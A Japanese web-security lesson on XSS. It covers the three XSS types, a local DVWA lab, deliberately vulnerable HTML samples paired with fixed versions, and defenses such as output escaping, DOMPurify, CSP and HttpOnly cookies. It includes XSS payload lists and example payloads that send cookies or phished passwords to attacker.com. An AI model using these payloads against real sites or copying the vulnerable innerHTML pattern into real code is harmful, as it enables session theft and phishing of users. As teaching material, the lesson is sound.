1-6. XSS(クロスサイトスクリプティング) - ブラウザ側のインジェクション
所要時間: 35-50分 ゴール: XSS の3種類(Reflected / Stored / DOM-based)を区別できる。出力時エスケープ・CSP・HttpOnly Cookie の役割を理解する。React/Vue の落とし穴を把握する コミット内容: NG/OK 両方の HTML / JS サンプルを
~/learn/security/day06_xss/に残す
前章とのつながり
このレッスンの位置づけ
前章 1-5 SQLi と 対の関係。両方ともインジェクションだが攻撃する場所が違う。
観点 SQLi (前章) XSS (本章) 攻撃される場所 サーバー側DB ユーザーのブラウザ 注入されるもの SQL文 JavaScript 被害者 サービス運営者 サービスの利用者 防御の基本 prepared statement 出力時エスケープ + CSP OWASP分類 A03 (Injection) A03 (Injection) 本質は同じ: 「データとコードの分離」をどこで・どう行うか。SQLi で身につけた発想を、別の文脈に転用する回。
実害シーン: XSS の実被害
- MySpace - Samy Worm (2005): たった20時間で100万人に感染、SNS全停止。攻撃コードは1行のXSS
- British Airways (2018): Magecart が決済ページにXSS → 38万件のクレカ情報窃取 → GDPR罰金 約36億円
- eBay (2014-2017): Stored XSS が3年放置、フィッシング悪用
XSS は ユーザー側の被害が直接的。あなたのサービスを使った利用者の口座が空になる、というレベルの実害が起きる。
大前提: XSS は「他人のブラウザを乗っ取る」攻撃
前回のSQLi が「サーバー側のDB」を狙う攻撃だったのに対し、XSS は 「他人のブラウザ」 を狙う。攻撃者は脆弱なサイトを踏み台にして、被害者のブラウザで任意のJavaScriptを動かす。
XSS で何ができるか:
- セッションCookieを奪う(=他人のアカウントでログインしたまま操作)
- 画面の偽装(偽のログインフォームを表示してパスワード窃取)
- キーロガー をブラウザに仕込む
- CSRF防御を突破して任意操作(被害者の権限で送金など)
- マルウェア配布サイトへリダイレクト
実際に起きた事件:
- MySpace - Samy Worm (2005): 「Samyが友達」と表示されるXSSワーム。20時間で 100万人 に感染し SNS をダウンさせた。Samy Kamkar 本人は3年の保護観察処分
- British Airways (2018): Magecart 集団が決済ページにXSSでスクリプトを仕込み、38万件のクレカ情報が盗まれた。GDPR で 2200万ポンド の罰金
- eBay (2014-2017): 商品ページにStored XSS脆弱性が長年存在、フィッシングに悪用された
このレッスンで「出力時エスケープが防御の基本」を体に刻む。
セッション①: XSS の3種類と攻撃の仕組み(25-30分)
0. 検証用脆弱アプリの起動
このレッスンで使う攻撃デモ環境を起動する。Docker が必要。
# 作業ディレクトリ
mkdir -p ~/log ~/learn/security/day06_xss
cd ~/learn/security/day06_xss
script ~/log/security_day06.log
# DVWA を起動(手元で SQLi / XSS を試せる脆弱アプリ)
docker run --rm -d --name dvwa -p 8080:80 vulnerables/web-dvwa
# → ブラウザで http://localhost:8080 を開く(初期ユーザー: admin / password)
# または OWASP Juice Shop
# docker run --rm -d --name juiceshop -p 3000:3000 bkimminich/juice-shop検証環境は隔離する
DVWA / Juice Shop は 本気で脆弱なアプリ。インターネット公開しないで、ローカルか隔離環境で動かすこと。レッスン終わったら必ず停止:
docker stop dvwa(または juiceshop)
1. XSS の本質
XSS の本質
Web アプリが ユーザー入力をHTMLにそのまま埋め込んでいる とき、攻撃者が
<script>タグやonerror=などを混入させ、被害者のブラウザでJSを実行させる。SQLi が「データがSQL構文として解釈される」なら、XSS は「データがHTML/JS構文として解釈される」。根本構造は同じ「データとコードの分離失敗」。
名前の「Cross-Site」は 攻撃者サイトから被害者のブラウザ経由で標的サイトに作用する 構図から来ている。今はXSS全般を指す用語として定着。
2. Reflected XSS(反射型)
攻撃者: 仕掛けたURLを被害者にメール送付
↓
被害者: URLをクリック
↓
ブラウザ: そのURLを脆弱サイトにリクエスト
↓
サーバー: URLパラメータを HTML にそのまま埋め込んで返す
↓
ブラウザ: 埋め込まれたJSを実行
https://example.com/search?q=<script>alert(document.cookie)</script>
サーバーが「検索結果ページ」で q の値をHTMLに埋め込む実装だと、<script> がそのまま動く。
Reflected XSS の特徴
- URLにペイロードが入っている
- 被害者にそのURLをクリックさせる必要がある(フィッシングメール、SNS投稿など)
- 一回限り(被害者ごと、URLごと)
ユースケース: 標的型フィッシング、ばらまき型キャンペーン 落とし穴: 「自分ではアクセスしないから安全」では済まない。リンクを踏ませる手口は無数にある(短縮URL、見た目を偽装、QRコード)
3. Stored XSS(蓄積型)- 一番危ない
攻撃者: コメント欄に <script>...</script> を投稿
↓
サーバー: DBに保存
↓
被害者A、B、C... が普通にコメント欄を開く
↓
全員のブラウザで攻撃JSが実行
Stored XSS の被害規模
- DBに永続化 = ページを訪れた 全ユーザー が被害
- 継続的に被害が拡大: コメント欄、プロフィール、メッセージなど、人が見る場所すべてが攻撃面
- 管理者も被害者になる: 管理画面でユーザーのプロフィールを開いた瞬間に攻撃JSが管理者ブラウザで実行 → 権限昇格
Samy Worm (MySpace) はこのパターンの極致。1人の投稿が連鎖的に拡散し、20時間で100万感染した。
Stored XSS の現れる場所
ユーザー入力が他のユーザーにも表示される箇所すべて:
- コメント、レビュー
- プロフィール(自己紹介、ユーザー名)
- チャット
- フォーラム投稿
- 商品説明(マーケットプレイスなら出品者の入力)
- 検索ワードを「最近の検索」として保存
- ファイル名(アップロードしたファイル名を表示する)
4. DOM-based XSS
// 脆弱な JavaScript
const hash = location.hash.substring(1); // URLのフラグメント取得
document.getElementById("output").innerHTML = hash;URL https://example.com/page#<img src=x onerror=alert(1)> でアクセスすると、innerHTML 経由で攻撃JSが実行される。
DOM-based XSS の特徴
- サーバーは一切関与しない = サーバー側で防げない
- クライアントサイドJSのバグ
- SPA時代に増えた: React/Vue/Angular でも実装次第で発生する
- 検知が難しい(サーバーログには痕跡が残らない)
「innerHTML」「document.write」「eval」「Function()」など、文字列を実行可能なものとして扱う API が温床。
5. ハンズオン: XSS を実感する
# シンプルな脆弱HTMLを作って試す
cat > vulnerable.html << 'EOF'
<!DOCTYPE html>
<html>
<head><title>XSS Demo</title></head>
<body>
<h1>コメント表示</h1>
<div id="output"></div>
<script>
// URLのクエリパラメータから取得して innerHTML に流し込む(NG実装)
const params = new URLSearchParams(location.search);
const comment = params.get('comment') || '';
document.getElementById('output').innerHTML = comment;
</script>
</body>
</html>
EOF
# ローカルサーバーで開く
python3 -m http.server 8000
# ブラウザで以下を試す
# 1. http://localhost:8000/vulnerable.html?comment=hello
# → 普通に "hello" が表示される
# 2. http://localhost:8000/vulnerable.html?comment=<img src=x onerror=alert(1)>
# → アラートが出る(XSS成功)試すべきペイロード
<script>alert(1)</script> <img src=x onerror=alert(document.cookie)> <svg onload=alert(1)> <iframe src="javascript:alert(1)"> "><script>alert(1)</script>「
<script>が無くても発火する」ことを確認するのが学びのコア。<img onerror>や<svg onload>は意外と知られていない。
# OWASP Juice Shop でも体系的に試せる
docker run --rm -p 3000:3000 bkimminich/juice-shop
# http://localhost:3000 → Score Board からXSSチャレンジへ6. 攻撃で何が起きるか - 実例ペイロード
セッションCookieの窃取(古典)
<script> fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)); </script>攻撃者は受信した Cookie を自分のブラウザにセットして被害者になりすませる。
→ HttpOnly Cookie で緩和可能(後述)
偽ログインフォームの設置
<script> document.body.innerHTML = ` <form action="https://attacker.com/phish" method="post"> セッションが切れました。再ログインしてください。 <input name="user"> <input name="pass" type="password"> <button>ログイン</button> </form>`; </script>サイトのドメインで動いているので、被害者は本物と疑わない。
任意の操作実行
<script> // 「アカウント削除API」を被害者の権限で叩く(CSRF防御を持つサイトでも、XSSがあれば突破可能) fetch('/api/account', { method: 'DELETE', credentials: 'include' }); </script>CSRF トークンを取得してから送る、なんてXSSなら造作もない。
セッション②: 防御 - エスケープ、CSP、Cookie(25-30分)
7. 防御の基本原則: 出力時エスケープ
XSS 防御の最重要原則
「ユーザー入力をHTMLとして出力するときに、HTML特殊文字をエスケープする」
文字 エスケープ後 <<>>&&""''こうすると
<script>alert(1)</script>は<script>alert(1)</script>となり、ブラウザは「「入力時エスケープ」ではなく「出力時エスケープ」が正解: データを使う文脈(HTML本文、属性、JS文字列、URL)でエスケープルールが違うため、保存時点では決められない。
8. テンプレートエンジンの自動エスケープ
現代のフレームワークは自動エスケープが基本
Go の
html/template(自動エスケープあり):import "html/template" tmpl, _ := template.New("page").Parse(`<div>{{.Comment}}</div>`) tmpl.Execute(w, struct{ Comment string }{Comment: "<script>alert(1)</script>"}) // 出力: <div><script>alert(1)</script></div>
text/templateではなくhtml/templateを使う。これが超重要。NG:
text/templateを Web 出力に使うと自動エスケープされない。React(自動エスケープあり):
<div>{userComment}</div> {/* userComment が <script> でも、テキストとして表示される */}Vue(自動エスケープあり):
<div>{{ userComment }}</div>
9. テンプレートを 回避する 危険な書き方
React の
dangerouslySetInnerHTML<div dangerouslySetInnerHTML={{ __html: userComment }} /> // userComment に <script> が含まれていたら実行される(厳密にはReactはscriptタグを動かさないが、onerror等は動く)名前に「dangerously」と入っている時点で「使う前に考えろ」というメッセージ。
<script>タグ自体はReactが特殊扱いするが、<img onerror>や<svg onload>は普通に動く。
Vue の
v-html<div v-html="userComment"></div>同じく、HTMLとして展開される。
v-htmlを見たら警戒する。
JS の
innerHTMLelement.innerHTML = userInput; // NG element.textContent = userInput; // OK(テキストとして扱われる)「文字列としてDOMに突っ込むなら
textContent」が鉄則。
サニタイズ自前実装
// NG: 自前でタグ除去 const safe = input.replace(/<script>/g, ''); // バイパス可能自前で書くと必ず穴がある。
<scr<script>ipt>のような入れ子に対応できない。
10. HTMLとして表示する必要がある場合(ユーザー入力にリッチテキストを許可)
DOMPurify を使う
マークダウンエディタ、コメント欄でリッチテキスト(太字、リンク)を許可したいケース。
import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(userInput); element.innerHTML = clean; // ここはOK(事前サニタイズ済み)DOMPurify は 許可リストベース: 安全と判定したタグ・属性以外は全部除去する。実績豊富で信頼できる。
マークダウンを使う場合: marked.js のような変換ライブラリで HTML 化した後、必ず DOMPurify を通す。
11. Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.comCSP の本質
サーバーが HTTP ヘッダーで 「このページでは指定したオリジン以外のスクリプトを実行するな」 とブラウザに命令する。
主なディレクティブ:
default-src 'self': 全リソースは自ドメインからscript-src 'self': スクリプトは自ドメインのみscript-src 'nonce-abc123': nonce が一致するスクリプトのみ実行style-src 'self': スタイルシートも制限img-src https:: 画像はHTTPSなら何処からでもframe-ancestors 'none': iframeでの埋め込み禁止(クリックジャッキング対策)XSSで
<script>を注入されても、CSP が許可していないオリジンなら実行されない。多層防御として超強力。
CSP の落とし穴
unsafe-inlineを使うとほぼ意味がない: インラインスクリプトを許可してしまうとXSSで仕込んだ<script>も動く。避けるunsafe-evalも避ける:eval()new Function()を許可するとXSSの幅が広がる- 既存サイトに後付けで導入するのは大変: インライン JS を全部外部化 or nonce 付与が必要
- 新規サイトでは最初から
script-src 'self'で始める が一番楽
12. HttpOnly Cookie でセッション奪取を緩和
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=StrictCookie のセキュリティ属性
属性 効果 HttpOnly JavaScript からアクセス不可 ( document.cookieで見えない)Secure HTTPS でしか送信されない SameSite=Strict クロスサイトリクエストでは送信されない(CSRF対策) SameSite=Lax デフォルト挙動。トップレベルナビゲーションのみ送信 Path 適用パス Domain 適用ドメイン XSSがあっても HttpOnly Cookie は盗めない:
document.cookieを実行しても HttpOnly のものは取得できない。ただしXSSがあれば「被害者のブラウザから直接API叩く」ことは可能なので、HttpOnly は「セッションIDの窃取は防げるが、被害は限定的に減らせる」緩和策。XSS そのものを直す必要は変わらない。
セッション Cookie の正解
認証セッション用 Cookie には 3点セット を必ず付ける:
Set-Cookie: session=<random>; HttpOnly; Secure; SameSite=Lax; Path=/
13. その他の防御策
レスポンスヘッダーで強化
X-Content-Type-Options: nosniff → ブラウザのMIMEスニッフィング無効化 X-Frame-Options: DENY → iframe 埋め込み禁止(クリックジャッキング対策) Referrer-Policy: strict-origin-when-cross-origin → リファラーから内部URLを漏らさない
securityheaders.comで診断できる。
フレームワーク特有の対策
- Next.js: デフォルトで自動エスケープ。
dangerouslySetInnerHTML使用時のみ要注意- SvelteKit: 同じく自動エスケープ
- Rails: ERB が自動エスケープ。
rawヘルパーで意図的に解除- Django:
{{ var }}は自動エスケープ。{% autoescape off %}で解除(注意)
14. Go と JS 両方でのコード例
// Go: html/template(推奨)
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
tmpl := template.Must(template.New("page").Parse(`
<html><body>
<h1>こんにちは {{.Name}}</h1>
<div>コメント: {{.Comment}}</div>
</body></html>
`))
data := struct {
Name string
Comment string
}{
Name: r.URL.Query().Get("name"),
Comment: r.URL.Query().Get("comment"),
}
// XSSペイロードを送っても自動エスケープされる
tmpl.Execute(w, data)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}// JS: 安全な書き方
// NG
element.innerHTML = userInput;
// OK
element.textContent = userInput;
// 必要があれば
import DOMPurify from "dompurify";
element.innerHTML = DOMPurify.sanitize(userInput);// React: 普通に書けば安全
function Comment({ text }) {
return <div>{text}</div>; // OK: 自動エスケープ
}
// NG(明示的に「危険」と宣言する場合のみ使う)
function UnsafeComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// 必要なら DOMPurify を挟む
import DOMPurify from "dompurify";
function SafeRichComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}15. 多層防御まとめ
XSS 防御の階層
- テンプレートエンジンの自動エスケープを信じる(第一防御線)
dangerouslySetInnerHTML/v-html/innerHTMLを避ける- 必要ならDOMPurify でサニタイズ
- CSP で実行可能スクリプトを制限(第二防御線)
- HttpOnly + Secure + SameSite Cookie で被害最小化
- X-Content-Type-Options / X-Frame-Options で関連攻撃も塞ぐ
- 入力検証: メアド形式、URL形式などのバリデーション(補助的)
- WAF: 既知パターンの検出(最後の保険)
練習課題
# 1. NG版を作って自分で攻撃する
mkdir -p ~/learn/security/day06_xss
cd ~/learn/security/day06_xss
cat > ng.html << 'EOF'
<!DOCTYPE html>
<html><body>
<form>
<input id="msg" placeholder="コメント">
<button type="button" onclick="render()">投稿</button>
</form>
<div id="out"></div>
<script>
function render() {
const v = document.getElementById('msg').value;
document.getElementById('out').innerHTML = v; // NG
}
</script>
</body></html>
EOF
# 2. OK版を作る
cat > ok.html << 'EOF'
<!DOCTYPE html>
<html><body>
<form>
<input id="msg" placeholder="コメント">
<button type="button" onclick="render()">投稿</button>
</form>
<div id="out"></div>
<script>
function render() {
const v = document.getElementById('msg').value;
document.getElementById('out').textContent = v; // OK
}
</script>
</body></html>
EOF
# 3. 両方をブラウザで開いて以下を入力
python3 -m http.server 8000
# - <script>alert(1)</script>
# - <img src=x onerror=alert(1)>
# - <svg onload=alert(1)>観察ポイント
- NG版でアラートが出ることを確認
- OK版で同じ入力をしてもタグがテキスト表示になることを確認
innerHTMLとtextContentの違いが体感できる
# 4. CSP を効かせる
cat > csp.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
</head>
<body>
<div id="out"></div>
<script>
const params = new URLSearchParams(location.search);
document.getElementById('out').innerHTML = params.get('c') || '';
</script>
</body></html>
EOF
# CSP のおかげで <script>alert(1)</script> を注入してもインラインスクリプトはブロックされる締め: 振り返り(10分)
1. セッション録画を終了
exit2. 今日の発見
- Reflected/Stored/DOM の違いを1分で説明できるか:
- 自分が触ったコードで innerHTML / dangerouslySetInnerHTML を使った場所:
- HttpOnly Cookie の役割と限界:
- 一番怖いと感じた XSS シナリオ:
チェックリスト
- XSS の3種類を区別して説明できる
-
<script>無しで XSS 発火するペイロードを2つ以上知っている - Go で
html/templateを使う理由を説明できる - React の
dangerouslySetInnerHTMLの危険性を言える - CSP の
script-src 'self'の意味を言える - HttpOnly Cookie で何が防げて何が防げないか言える
- DOMPurify の使い所を知っている
- 実際に脆弱HTMLで XSS を発火させた
詰まった時のチートシート
| やりたいこと | 答え |
|---|---|
| Goでテンプレ | html/template(text/template ではない) |
| Reactで安全 | <div>{value}</div>(普通の書き方でOK) |
| JSでDOMにテキスト挿入 | textContent (innerHTML ではない) |
| リッチテキスト許可 | DOMPurify でサニタイズ |
| CSP最小 | script-src 'self'; default-src 'self' |
| Cookie正解 | HttpOnly; Secure; SameSite=Lax |
| iframe禁止 | X-Frame-Options: DENY |
| MIMEスニフィング | X-Content-Type-Options: nosniff |
「実務OK」基準
- テンプレートエンジンの自動エスケープを信頼しつつ、回避APIに警戒できる
- CSP を新規プロジェクトで最初から設定する発想がある
- Cookie の HttpOnly/Secure/SameSite の3点セットを当たり前に設定する
innerHTMLを見たら反射的に「textContent じゃダメ?」と考えるdangerouslySetInnerHTMLを見たらレビューで止める
メタ認知: 自分の理解度を診断する
30秒セルフテスト
- Reflected / Stored / DOM-based XSS の違いを 1行ずつ で
<script>を使わない XSS ペイロードを1つhtml/templateとtext/templateのどっちを Web で使う? なぜ?- CSP の
script-src 'self'で防げるのは? 防げないのは?- HttpOnly Cookie が 防げない 攻撃は?
5問即答 できたら Level 2 へ進む準備OK。詰まったらその項目を再読してから次へ。
Level 1 完走の振り返り(メタ認知)
Level 1 で身につけたこと
- 認証と認可を分けて考える (1-1)
- パスワードは bcrypt/argon2 で保存 (1-2)
- HTTPS は当然、HSTS で守る (1-3)
- OWASP Top 10 で全体地図を持つ (1-4)
- SQLi は prepared statement で防ぐ (1-5)
- XSS は出力時エスケープ + CSP で防ぐ (1-6)
共通する発想: ユーザー入力を信用しない / データとコードを分離する / 「ログインしたから何でも見せる」を許さない。
Level 2 では 実装の深掘り(JWT、セッション、CSRF/SSRF、シークレット、入力検証、認可設計)へ。Level 1 の基礎概念を コードで実現する フェーズ。
次のレッスン
Level 1 セキュリティ編はここで一区切り。次は Level 2 2-1 JWT に進む。
間隔反復ポイント(Level 1 卒業時の習慣)
1-1 から 1-6 までの 「詰まった時のチートシート」 を、印刷するか1ファイルにまとめて、週1回1分で眺める 習慣をつけると、業務でセキュリティ判断が必要な時に瞬発的に出るようになる。
Level 2 で扱うトピック: